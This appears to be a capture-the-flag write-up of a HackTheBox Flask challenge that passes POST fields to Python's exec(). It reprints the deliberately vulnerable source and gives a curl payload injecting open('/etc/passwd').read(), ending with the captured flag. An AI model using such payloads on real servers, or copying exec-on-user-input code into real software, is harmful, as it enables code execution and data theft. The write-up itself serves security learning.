baby interdimensional internet

part of Synack Path

Description

aw man, aw geez, my grandpa rick is passed out from all the drinking again, where is a calculator when you need one, aw geez

Summary

The Flask application exposes a critical Remote Code Execution (RCE) vulnerability through the use of Python’s exec() function on user-controlled input. The vulnerability resides in the calc() function, which executes arbitrary Python code constructed from POST parameters without validation or sanitization. This allows attackers to execute arbitrary code on the server, potentially leading to full system compromise.

  • CWE-94: Improper Control of Generation of Code ('Code Injection')

Source Code

from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps

app = Flask(__name__)

def calc(recipe):
	global garage
	garage = {}
	try: exec(recipe, garage)
	except: pass

def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
	@wraps(func)
	def federation(*args, **kwargs):
		ingredient = ''.join(choice(lowercase) for _ in range(10))
		recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

		if request.method == 'POST':
			ingredient = request.form.get('ingredient', '')
			recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))

		calc(recipe)

		if garage.get(ingredient, ''):
			return render_template('index.html', calculations=garage[ingredient])

		return func(*args, **kwargs)
	return federation

@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
	return render_template('index.html')

@app.route('/debug')
def debug():
	return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
	app.run('0.0.0.0', port=1337)

Vulnerable Code

def calc(recipe):
	global garage
	garage = {}
	try: exec(recipe, garage)
	except: pass
  • The recipe string is constructed from user input and passed directly to exec().

  • No input validation or sanitization is performed.

  • The garage dictionary acts as the execution context, but does not mitigate the risk.


def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
	@wraps(func)
	def federation(*args, **kwargs):
		ingredient = ''.join(choice(lowercase) for _ in range(10))
		recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
		//Injection Point 
		if request.method == 'POST':
			ingredient = request.form.get('ingredient', '')
			recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))

		calc(recipe)

		if garage.get(ingredient, ''):
			return render_template('index.html', calculations=garage[ingredient])

		return func(*args, **kwargs)
	return federation
  • ingredient and measurements are user-controlled.

  • recipe is dynamically constructed and executed via exec()

Theory of Exploitation

By crafting a malicious measurements value, an attacker can inject arbitrary Python code. Since exec() runs the code in the server context, which can lead to file access, command execution, or further privilege escalation.

Payload

Since the / accept POST, we can craft the payload as below to execute command injection via eval

curl -X POST url --data "ingredient=onioin&measurements=open('/etc/passwd’).read()"

Proof that we manage to do command injection here.

|| HTB{n3v3r_trust1ng_us3r_1nput_ag41n_1n_my_l1f3}||

Last updated